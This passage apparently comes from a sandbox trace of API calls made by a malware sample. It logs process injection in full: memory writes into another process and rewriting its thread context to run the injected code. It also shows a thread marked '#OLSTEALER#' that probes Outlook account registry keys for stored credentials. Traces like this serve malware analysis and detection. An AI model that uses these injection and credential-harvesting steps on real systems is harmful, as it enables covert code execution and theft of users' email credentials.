lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrGetProcedureAddress") returned -1 [0070.398] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrGetProcedureAddress") returned 0 [0070.398] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0070.398] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=1064584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103e88 [0070.398] ReadFile (in: hFile=0x5bc, lpBuffer=0x69ed960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x69ed998, lpOverlapped=0x0 | out: lpBuffer=0x69ed960*, lpNumberOfBytesRead=0x69ed998*=0x4, lpOverlapped=0x0) returned 1 [0070.398] CloseHandle (hObject=0x5bc) returned 1 [0070.399] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0070.399] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9770a90 [0070.399] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x9770a90, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0070.399] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0070.399] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0070.400] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=1070632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x105628 [0070.400] ReadFile (in: hFile=0x5bc, lpBuffer=0x69ed960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x69ed998, lpOverlapped=0x0 | out: lpBuffer=0x69ed960*, lpNumberOfBytesRead=0x69ed998*=0x4, lpOverlapped=0x0) returned 1 [0070.400] CloseHandle (hObject=0x5bc) returned 1 [0070.400] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0070.400] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x318) returned 0x9770a90 [0070.400] NtAllocateVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x69ed440*=0x0, ZeroBits=0x0, RegionSize=0x69ed448*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x69ed440*=0xe0000, RegionSize=0x69ed448*=0x1000) returned 0x0 [0070.400] NtGetContextThread (in: ThreadHandle=0x10bc, Context=0x69ed490 | out: Context=0x69ed490*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x2ff158, Rbp=0x77265468, Rsi=0x1, Rdi=0x3928c0, R8=0x0, R9=0x3912f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x13f5437e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0070.401] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.401] NtWriteVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0xe0000, Buffer=0x9770a90*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x69ed980 | out: Buffer=0x9770a90*, NumberOfBytesWritten=0x69ed980*=0x318) returned 0x0 [0070.401] NtSetContextThread (ThreadHandle=0x10bc, Context=0x69ed490*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0xe0000, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x2ff158, Rbp=0x77265468, Rsi=0x1, Rdi=0x3928c0, R8=0x0, R9=0x3912f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0xe0218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0070.401] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.401] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0070.401] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x9d80000) returned 0x0 [0070.414] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.414] CloseHandle (hObject=0x4d4) returned 1 [0070.414] VirtualProtectEx (in: hProcess=0x10f4, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x69edfe8 | out: lpflOldProtect=0x69edfe8*=0x20) returned 1 [0070.414] NtWriteVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f5437e0, Buffer=0x69edac0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x69eda70 | out: Buffer=0x69edac0*, NumberOfBytesWritten=0x69eda70*=0x4) returned 0x0 [0070.421] VirtualProtectEx (in: hProcess=0x10f4, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x69edfe8 | out: lpflOldProtect=0x69edfe8*=0x40) returned 1 [0070.421] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 Thread: id = 220 os_tid = 0x878 [0095.999] GetProcAddress (hModule=0x7fefea30000, lpProcName="CoInitializeEx") returned 0x7fefea52a30 [0095.999] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0095.999] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x54dfe80 | out: ppstm=0x54dfe80*=0x43cf6f0) returned 0x0 [0096.008] IStream:RemoteSeek (in: This=0x43cf6f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x54dfd60 | out: plibNewPosition=0x54dfd60) returned 0x0 [0096.008] lstrlenA (lpString="#OLSTEALER#\n") returned 12 [0096.008] ISequentialStream:RemoteWrite (in: This=0x43cf6f0, pv=0x94eaf38*=0x23, cb=0xc, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0096.015] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Internet Account Manager", ulOptions=0x0, samDesired=0x201, phkResult=0x54dfca0 | out: phkResult=0x54dfca0*=0xa94) returned 0x0 [0096.016] RegQueryValueExA (in: hKey=0xa94, lpValueName="Outlook", lpReserved=0x0, lpType=0x54dfd00, lpData=0x0, lpcbData=0x54dfcd8*=0x0 | out: lpType=0x54dfd00*=0x0, lpData=0x0, lpcbData=0x54dfcd8*=0x0) returned 0x2 [0096.016] RegCloseKey (hKey=0xa94) returned 0x0 [0096.016] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Internet Account Manager", ulOptions=0x0, samDesired=0x101, phkResult=0x54dfca0 | out: phkResult=0x54dfca0*=0xa94) returned 0x0 [0096.016] RegQueryValueExA (in: hKey=0xa94, lpValueName="Outlook", lpReserved=0x0, lpType=0x54dfd00, lpData=0x0, lpcbData=0x54dfcd8*=0x0 | out: lpType=0x54dfd00*=0x0, lpData=0x0, lpcbData=0x54dfcd8*=0x0) returned 0x2 [0096.016] RegCloseKey (hKey=0xa94) returned 0x0 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.043] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", 